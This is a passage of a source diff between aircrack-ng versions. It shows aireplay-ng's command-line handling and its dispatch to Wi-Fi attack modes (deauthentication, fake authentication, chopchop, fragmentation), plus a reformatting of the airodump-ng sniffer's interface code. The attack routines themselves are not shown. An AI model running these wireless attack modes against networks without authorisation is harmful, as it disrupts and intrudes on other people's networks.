+
+			case 'F':
+
+				opt.fast = 1;
+				break;
+
+			case 'B':
+
+				opt.bittest = 1;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Aireplay-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
+
+			case 'R':
+
+				opt.rtc = 0;
+				break;
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(usage,
+				   getVersion("Aireplay-ng",
+							  _MAJ,
+							  _MIN,
+							  _SUB_MIN,
+							  _REVISION,
+							  _BETA,
+							  _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
+
+	if (opt.a_mode == -1)
+	{
+		printf("Please specify an attack mode.\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
+	{
+		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
+			   opt.f_minlen,
+			   opt.f_maxlen);
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if (opt.f_tods == 1 && opt.f_fromds == 1)
+	{
+		printf("FromDS and ToDS bit are set: packet has to come from the AP "
+			   "and go to the AP\n");
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
 
 #if defined(__i386__)
 #if defined(linux)
-    if( opt.a_mode > 1 )
-    {
-        if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 )
-        {
-            dev.fd_rtc = 0;
-        }
-
-        if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) )
-        {
-            dev.fd_rtc = 0;
-        }
-        if(opt.rtc == 0)
-        {
-            dev.fd_rtc = -1;
-        }
-        if(dev.fd_rtc > 0)
-        {
-            if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 )
-            {
-                perror( "ioctl(RTC_IRQP_SET) failed" );
-                printf(
-    "Make sure enhanced rtc device support is enabled in the kernel (module\n"
-    "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" );
-                close( dev.fd_rtc );
-                dev.fd_rtc = -1;
-            }
-            else
-            {
-                if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
-                {
-                    perror( "ioctl(RTC_PIE_ON) failed" );
-                    close( dev.fd_rtc );
-                    dev.fd_rtc = -1;
-                }
-            }
-        }
-        else
-        {
-            printf( "For information, no action required:"
-                    " Using gettimeofday() instead of /dev/rtc\n" );
-            dev.fd_rtc = -1;
-        }
+	if (opt.a_mode > 1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
 
-    }
+		if ((dev.fd_rtc == 0)
+			&& ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
+		{
+			dev.fd_rtc = 0;
+		}
+		if (opt.rtc == 0)
+		{
+			dev.fd_rtc = -1;
+		}
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
 #endif /* linux */
 #endif /* i386 */
 
-    opt.iface_out = argv[optind];
-    opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1);
+	opt.iface_out = argv[optind];
+	opt.port_out
+		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
 
-    //don't open interface(s) when using test mode and airserv
-    if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) )
-    {
-        /* open the replay interface */
-        _wi_out = wi_open(opt.iface_out);
-        if (!_wi_out)
-            return 1;
-        dev.fd_out = wi_fd(_wi_out);
-
-        /* open the packet source */
-        if( opt.s_face != NULL )
-        {
-            //don't open interface(s) when using test mode and airserv
-            if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) )
-            {
-                _wi_in = wi_open(opt.s_face);
-                if (!_wi_in)
-                    return 1;
-                dev.fd_in = wi_fd(_wi_in);
-                wi_get_mac(_wi_in, dev.mac_in);
-            }
-        }
-        else
-        {
-            _wi_in = _wi_out;
-            dev.fd_in = dev.fd_out;
-
-            /* XXX */
-            dev.arptype_in = dev.arptype_out;
-            wi_get_mac(_wi_in, dev.mac_in);
-        }
+	// don't open interface(s) when using test mode and airserv
+	if (!(opt.a_mode == 9 && opt.port_out >= 0))
+	{
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		dev.fd_out = wi_fd(_wi_out);
+
+		/* open the packet source */
+		if (opt.s_face != NULL)
+		{
+			// don't open interface(s) when using test mode and airserv
+			if (!(opt.a_mode == 9 && opt.port_in >= 0))
+			{
+				_wi_in = wi_open(opt.s_face);
+				if (!_wi_in) return 1;
+				dev.fd_in = wi_fd(_wi_in);
+				wi_get_mac(_wi_in, dev.mac_in);
+			}
+		}
+		else
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
 
-        wi_get_mac(_wi_out, dev.mac_out);
-    }
+		wi_get_mac(_wi_out, dev.mac_out);
+	}
 
-    /* drop privileges */
-    if (setuid( getuid() ) == -1) {
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
 		perror("setuid");
 	}
 
-    /* XXX */
-    if( opt.r_nbpps == 0 )
-    {
-        if( dev.is_wlanng || dev.is_hostap )
-            opt.r_nbpps = 200;
-        else
-            opt.r_nbpps = 500;
-    }
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
 
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
 
-    if( opt.s_file != NULL )
-    {
-        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
-            dev.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", opt.s_file );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(dev.pfh_in.linktype);
-
-        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
+		n = sizeof(struct pcap_file_header);
 
-    //if there is no -h given, use default hardware mac
-    if( maccmp( opt.r_smac, NULL_MAC) == 0 )
-    {
-        memcpy( opt.r_smac, dev.mac_out, 6);
-        if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
-        {
-            printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
-                    dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]);
-        }
-    }
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
 
-    if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0)
-    {
-//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n");
-        fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
-                 " doesn't match the specified MAC (-h).\n"
-                 "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
-                 dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5],
-                 opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
-    }
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
 
-    switch( opt.a_mode )
-    {
-        case 0 : return( do_attack_deauth()      );
-        case 1 : return( do_attack_fake_auth()   );
-        case 2 : return( do_attack_interactive() );
-        case 3 : return( do_attack_arp_resend()  );
-        case 4 : return( do_attack_chopchop()    );
-        case 5 : return( do_attack_fragment()    );
-        case 6 : return( do_attack_caffe_latte() );
-        case 7 : return( do_attack_cfrag()       );
-        case 8 : return( do_attack_migmode()     );
-        case 9 : return( do_attack_test()        );
-        default: break;
-    }
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	// if there is no -h given, use default hardware mac
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+	}
+
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
+		//        to work on madwifi[-ng], set the interface MAC according to
+		//        (-h)!\n");
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
+
+	switch (opt.a_mode)
+	{
+		case 0:
+			return (do_attack_deauth());
+		case 1:
+			return (do_attack_fake_auth());
+		case 2:
+			return (do_attack_interactive());
+		case 3:
+			return (do_attack_arp_resend());
+		case 4:
+			return (do_attack_chopchop());
+		case 5:
+			return (do_attack_fragment());
+		case 6:
+			return (do_attack_caffe_latte());
+		case 7:
+			return (do_attack_cfrag());
+		case 8:
+			return (do_attack_migmode());
+		case 9:
+			return (do_attack_test());
+		default:
+			break;
+	}
 
-    /* that's all, folks */
+	/* that's all, folks */
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/airodump-ng.c -> aircrack-ng-1.4.tar.gz/src/airodump-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  pcap-compatible 802.11 packet sniffer
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -16,7 +16,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -33,6 +33,7 @@
  *  files in the program, then also delete it here.
  */
 
+#define _GNU_SOURCE
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/ioctl.h>
@@ -40,7 +41,7 @@
 #include <sys/time.h>
 
 #ifndef TIOCGWINSZ
-	#include <sys/termios.h>
+#include <sys/termios.h>
 #endif
 
 #include <netinet/in.h>
@@ -58,6 +59,7 @@
 #include <fcntl.h>
 #include <pthread.h>
 #include <termios.h>
+#include <limits.h>
 
 #include <sys/wait.h>
 
@@ -69,51 +71,71 @@
 #include "pcap.h"
 #include "uniqueiv.h"
 #include "crypto.h"
-#include "osdep/osdep.h"
+#include "aircrack-osdep/channel.h"
+#include "aircrack-osdep/osdep.h"
 #include "airodump-ng.h"
-#include "osdep/common.h"
-#include "common.h"
+#include "aircrack-osdep/common.h"
+#include "aircrack-util/common.h"
+#include "aircrack-util/mcs_index_rates.h"
+#include "aircrack-util/verifyssid.h"
+#include "aircrack-util/console.h"
 
 // libgcrypt thread callback definition for libgcrypt < 1.6.0
 #ifdef USE_GCRYPT
-	#if GCRYPT_VERSION_NUMBER < 0x010600
-		GCRY_THREAD_OPTION_PTHREAD_IMPL;
-	#endif
+#if GCRYPT_VERSION_NUMBER < 0x010600
+GCRY_THREAD_OPTION_PTHREAD_IMPL;
+#endif
 #endif
 
-// in common.c
-extern int is_string_number(const char * str);
+#define ArrayCount(a) (sizeof((a)) / sizeof((a)[0]))
 
-void dump_sort( void );
-void dump_print( int ws_row, int ws_col, int if_num );
+static void dump_sort(void);
+static void dump_print(int ws_row, int ws_col, int if_num);
 
-char * get_manufacturer_from_string(char * buffer) {
+static char * get_manufacturer_from_string(char * buffer)
+{
 	char * manuf = NULL;
 	char * buffer_manuf;
-	if (buffer != NULL && strlen(buffer) > 0) {
+	if (buffer != NULL && strlen(buffer) > 0)
+	{
 		buffer_manuf = strstr(buffer, "(hex)");
-		if (buffer_manuf != NULL) {
-			buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string)
-			while (*buffer_manuf == '\t' || *buffer_manuf == ' ') {
+		if (buffer_manuf != NULL)
+		{
+			buffer_manuf += 6; // skip '(hex)' and one more character (there's
+			// at least one 'space' character after that
+			// string)
+			while (*buffer_manuf == '\t' || *buffer_manuf == ' ')
+			{
 				++buffer_manuf;
 			}
 
 			// Did we stop at the manufacturer
-			if (*buffer_manuf != '\0') {
+			if (*buffer_manuf != '\0')
+			{
 
 				// First make sure there's no end of line
-				if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') {
+				if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
+					|| buffer_manuf[strlen(buffer_manuf) - 1] == '\r')
+				{
 					buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
-					if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) {
+					if (*buffer_manuf != '\0'
+						&& (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
+							|| buffer[strlen(buffer_manuf) - 1] == '\r'))
+					{
 						buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
 					}
 				}
-				if (*buffer_manuf != '\0') {
-					if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) {
+				if (*buffer_manuf != '\0')
+				{
+					if ((manuf = (char *) malloc((strlen(buffer_manuf) + 1)
+												 * sizeof(char)))
+						== NULL)
+					{
 						perror("malloc failed");
 						return NULL;
 					}
-					snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf);
+					snprintf(
+						manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf);
 				}
 			}
 		}
@@ -122,294 +144,277 @@
 	return manuf;
 }
 
-void textcolor(int attr, int fg, int bg)
-{	char command[13];
+static void resetSelection(void)
+{
+	G.sort_by = SORT_BY_POWER;
+	G.sort_inv = 1;
 
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40);
-	fprintf(stderr, "%s", command);
-	fflush(stderr);
-}
-
-void textcolor_fg(int fg)
-{	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%dm", fg + 30);
-	fprintf(stderr, "%s", command);
-	fflush(stderr);
-}
-
-void textcolor_bg(int bg)
-{	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%dm", bg + 40);
-	fprintf(stderr, "%s", command);
-	fflush(stderr);
-}
-
-void textstyle(int attr)
-{	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%im", attr);
-	fprintf(stderr, "%s", command);
-	fflush(stderr);
-}
-
-void reset_term() {
-  struct termios oldt,
-                 newt;
-  tcgetattr( STDIN_FILENO, &oldt );
-  newt = oldt;
-  newt.c_lflag |= ( ICANON | ECHO );
-  tcsetattr( STDIN_FILENO, TCSANOW, &newt );
-}
-
-int mygetch( ) {
-  struct termios oldt,
-                 newt;
-  int            ch;
-  tcgetattr( STDIN_FILENO, &oldt );
-  newt = oldt;
-  newt.c_lflag &= ~( ICANON | ECHO );
-  tcsetattr( STDIN_FILENO, TCSANOW, &newt );
-  ch = getchar();
-  tcsetattr( STDIN_FILENO, TCSANOW, &oldt );
-  return ch;
-}
-
-void resetSelection()
-{
-    G.sort_by = SORT_BY_POWER;
-    G.sort_inv = 1;
-
-    G.start_print_ap=1;
-    G.start_print_sta=1;
-    G.selected_ap=1;
-    G.selected_sta=1;
-    G.selection_ap=0;
-    G.selection_sta=0;
-    G.mark_cur_ap=0;
-    G.skip_columns=0;
-    G.do_pause=0;
-    G.do_sort_always=0;
-    memset(G.selected_bssid, '\x00', 6);
-}
-
-#define KEY_TAB		0x09	//switch between APs/clients for scrolling
-#define KEY_SPACE	0x20	//pause/resume output
-#define KEY_ARROW_UP	0x41	//scroll
-#define KEY_ARROW_DOWN	0x42	//scroll
-#define KEY_ARROW_RIGHT 0x43	//scroll
-#define KEY_ARROW_LEFT	0x44	//scroll
-#define KEY_a		0x61	//cycle through active information (ap/sta/ap+sta/ap+sta+ack)
-#define KEY_c		0x63	//cycle through channels
-#define KEY_d		0x64	//default mode
-#define KEY_i		0x69	//inverse sorting
-#define KEY_m		0x6D	//mark current AP
-#define KEY_n		0x6E	//?
-#define KEY_r		0x72	//realtime sort (de)activate
-#define KEY_s		0x73	//cycle through sorting
-
-void input_thread( void *arg) {
-
-    if(!arg){}
-
-    while( G.do_exit == 0 ) {
-	int keycode=0;
-
-	keycode=mygetch();
-
-	if(keycode == KEY_s) {
-	    G.sort_by++;
-	    G.selection_ap = 0;
-	    G.selection_sta = 0;
-
-	    if(G.sort_by > MAX_SORT)
-		G.sort_by = 0;
-
-	    switch(G.sort_by) {
-		case SORT_BY_NOTHING:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by first seen");
-		    break;
-		case SORT_BY_BSSID:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by bssid");
-		    break;
-		case SORT_BY_POWER:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by power level");
-		    break;
-		case SORT_BY_BEACON:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by beacon number");
-		    break;
-		case SORT_BY_DATA:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets");
-		    break;
-		case SORT_BY_PRATE:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by packet rate");
-		    break;
-		case SORT_BY_CHAN:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by channel");
-		    break;
-		case SORT_BY_MBIT:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by max data rate");
-		    break;
-		case SORT_BY_ENC:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by encryption");
-		    break;
-		case SORT_BY_CIPHER:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by cipher");
-		    break;
-		case SORT_BY_AUTH:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by authentication");
-		    break;
-		case SORT_BY_ESSID:
-		    snprintf(G.message, sizeof(G.message), "][ sorting by ESSID");
-		    break;
-		default:
-		    break;
-	    }
-	    pthread_mutex_lock( &(G.mx_sort) );
-		dump_sort();
-	    pthread_mutex_unlock( &(G.mx_sort) );
+	G.start_print_ap = 1;
+	G.start_print_sta = 1;
+	G.selected_ap = 1;
+	G.selected_sta = 1;
+	G.selection_ap = 0;
+	G.selection_sta = 0;
+	G.mark_cur_ap = 0;
+	G.skip_columns = 0;
+	G.do_pause = 0;
+	G.do_sort_always = 0;
+	memset(G.selected_bssid, '\x00', 6);
+}
+
+static void input_thread(void * arg)
+{
+
+	if (!arg)
+	{
+	}
+
+	while (G.do_exit == 0)
+	{
+		int keycode = 0;
+
+		keycode = mygetch();
+
+		if (keycode == KEY_s)
+		{
+			G.sort_by++;
+			G.selection_ap = 0;
+			G.selection_sta = 0;
+
+			if (G.sort_by > MAX_SORT) G.sort_by = 0;
+
+			switch (G.sort_by)
+			{
+				case SORT_BY_NOTHING:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by first seen");
+					break;
+				case SORT_BY_BSSID:
+					snprintf(
+						G.message, sizeof(G.message), "][ sorting by bssid");
+					break;
+				case SORT_BY_POWER:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by power level");
+					break;
+				case SORT_BY_BEACON:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by beacon number");
+					break;
+				case SORT_BY_DATA:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by number of data packets");
+					break;
+				case SORT_BY_PRATE:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by packet rate");
+					break;
+				case SORT_BY_CHAN:
+					snprintf(
+						G.message, sizeof(G.message), "][ sorting by channel");
+					break;
+				case SORT_BY_MBIT:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by max data rate");
+					break;
+				case SORT_BY_ENC:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by encryption");
+					break;
+				case SORT_BY_CIPHER:
+					snprintf(
+						G.message, sizeof(G.message), "][ sorting by cipher");
+					break;
+				case SORT_BY_AUTH:
+					snprintf(G.message,
+							 sizeof(G.message),
+							 "][ sorting by authentication");
+					break;
+				case SORT_BY_ESSID:
+					snprintf(
+						G.message, sizeof(G.message), "][ sorting by ESSID");
+					break;
+				default:
+					break;
+			}
+			pthread_mutex_lock(&(G.mx_sort));
+			dump_sort();
+			pthread_mutex_unlock(&(G.mx_sort));
+		}
+
+		if (keycode == KEY_SPACE)
+		{
+			G.do_pause = (G.do_pause + 1) % 2;
+			if (G.do_pause)
+			{
+				snprintf(G.message, sizeof(G.message), "][ paused output");
+				pthread_mutex_lock(&(G.mx_print));
+
+				moveto(1, 1);
+				dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
+				erase_display(0);
+
+				pthread_mutex_unlock(&(G.mx_print));
+			}
+			else
+				snprintf(G.message, sizeof(G.message), "][ resumed output");
+		}
+
+		if (keycode == KEY_r)
+		{
+			G.do_sort_always = (G.do_sort_always + 1) % 2;
+			if (G.do_sort_always)
+				snprintf(G.message,
+						 sizeof(G.message),
+						 "][ realtime sorting activated");
+			else
+				snprintf(G.message,
+						 sizeof(G.message),
+						 "][ realtime sorting deactivated");
+		}
+
+		if (keycode == KEY_m)
+		{
+			G.mark_cur_ap = 1;
+		}
+
+		if (keycode == KEY_ARROW_DOWN)
+		{
+			if (G.selection_ap == 1)
+			{
+				G.selected_ap++;
+			}
+			if (G.selection_sta == 1)
+			{
+				G.selected_sta++;
+			}
+		}
+
+		if (keycode == KEY_ARROW_UP)
+		{
+			if (G.selection_ap == 1)
+			{
+				G.selected_ap--;
+				if (G.selected_ap < 1) G.selected_ap = 1;
+			}
+			if (G.selection_sta == 1)
+			{
+				G.selected_sta--;
+				if (G.selected_sta < 1) G.selected_sta = 1;
+			}
+		}
+
+		if (keycode == KEY_i)
+		{
+			G.sort_inv *= -1;
+			if (G.sort_inv < 0)
+				snprintf(
+					G.message, sizeof(G.message), "][ inverted sorting order");
+			else
+				snprintf(
+					G.message, sizeof(G.message), "][ normal sorting order");
+		}
+
+		if (keycode == KEY_TAB)
+		{
+			if (G.selection_ap == 0)
+			{
+				G.selection_ap = 1;
+				G.selected_ap = 1;
+				snprintf(
+					G.message, sizeof(G.message), "][ enabled AP selection");
+				G.sort_by = SORT_BY_NOTHING;
+			}
+			else if (G.selection_ap == 1)
+			{
+				G.selection_ap = 0;
+				G.sort_by = SORT_BY_NOTHING;
+				snprintf(G.message, sizeof(G.message), "][ disabled selection");
+			}
+		}
+
+		if (keycode == KEY_a)
+		{
+			if (G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0)
+			{
+				G.show_ap = 1;
+				G.show_sta = 1;
+				G.show_ack = 1;
+				snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack");
+			}
+			else if (G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1)
+			{
+				G.show_ap = 1;
+				G.show_sta = 0;
+				G.show_ack = 0;
+				snprintf(G.message, sizeof(G.message), "][ display ap only");
+			}
+			else if (G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0)
+			{
+				G.show_ap = 0;
+				G.show_sta = 1;
+				G.show_ack = 0;
+				snprintf(G.message, sizeof(G.message), "][ display sta only");
+			}
+			else if (G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0)
+			{
+				G.show_ap = 1;
+				G.show_sta = 1;
+				G.show_ack = 0;
+				snprintf(G.message, sizeof(G.message), "][ display ap+sta");
+			}
+		}
+
+		if (keycode == KEY_d)
+		{
+			resetSelection();
+			snprintf(
+				G.message, sizeof(G.message), "][ reset selection to default");
+		}
+
+		if (G.do_exit == 0 && !G.do_pause)
+		{
+			pthread_mutex_lock(&(G.mx_print));
+
+			moveto(1, 1);
+			dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
+			erase_display(0);
+
+			pthread_mutex_unlock(&(G.mx_print));
+		}
 	}
+}
+
+static void trim(char * str)
+{
+	int i;
+	int begin = 0;
+	int end = strlen(str) - 1;
 
-	if(keycode == KEY_SPACE) {
-	    G.do_pause = (G.do_pause+1)%2;
-	    if(G.do_pause) {
-		snprintf(G.message, sizeof(G.message), "][ paused output");
-		pthread_mutex_lock( &(G.mx_print) );
-
-		    fprintf( stderr, "\33[1;1H" );
-		    dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards );
-		    fprintf( stderr, "\33[J" );
-		    fflush(stderr);
-
-		pthread_mutex_unlock( &(G.mx_print) );
-	    }
-	    else
-		snprintf(G.message, sizeof(G.message), "][ resumed output");
-	}
-
-	if(keycode == KEY_r) {
-	    G.do_sort_always = (G.do_sort_always+1)%2;
-	    if(G.do_sort_always)
-		snprintf(G.message, sizeof(G.message), "][ realtime sorting activated");
-	    else
-		snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated");
-	}
-
-	if(keycode == KEY_m) {
-	    G.mark_cur_ap = 1;
-	}
-
-	if(keycode == KEY_ARROW_DOWN) {
-	    if(G.selection_ap == 1) {
-		G.selected_ap++;
-	    }
-	    if(G.selection_sta == 1) {
-		G.selected_sta++;
-	    }
-	}
-
-	if(keycode == KEY_ARROW_UP) {
-	    if(G.selection_ap == 1) {
-		G.selected_ap--;
-		if(G.selected_ap < 1)
-		    G.selected_ap = 1;
-	    }
-	    if(G.selection_sta == 1) {
-		G.selected_sta--;
-		if(G.selected_sta < 1)
-		    G.selected_sta = 1;
-	    }
-	}
-
-	if(keycode == KEY_i) {
-	    G.sort_inv*=-1;
-	    if(G.sort_inv < 0)
-		snprintf(G.message, sizeof(G.message), "][ inverted sorting order");
-	    else
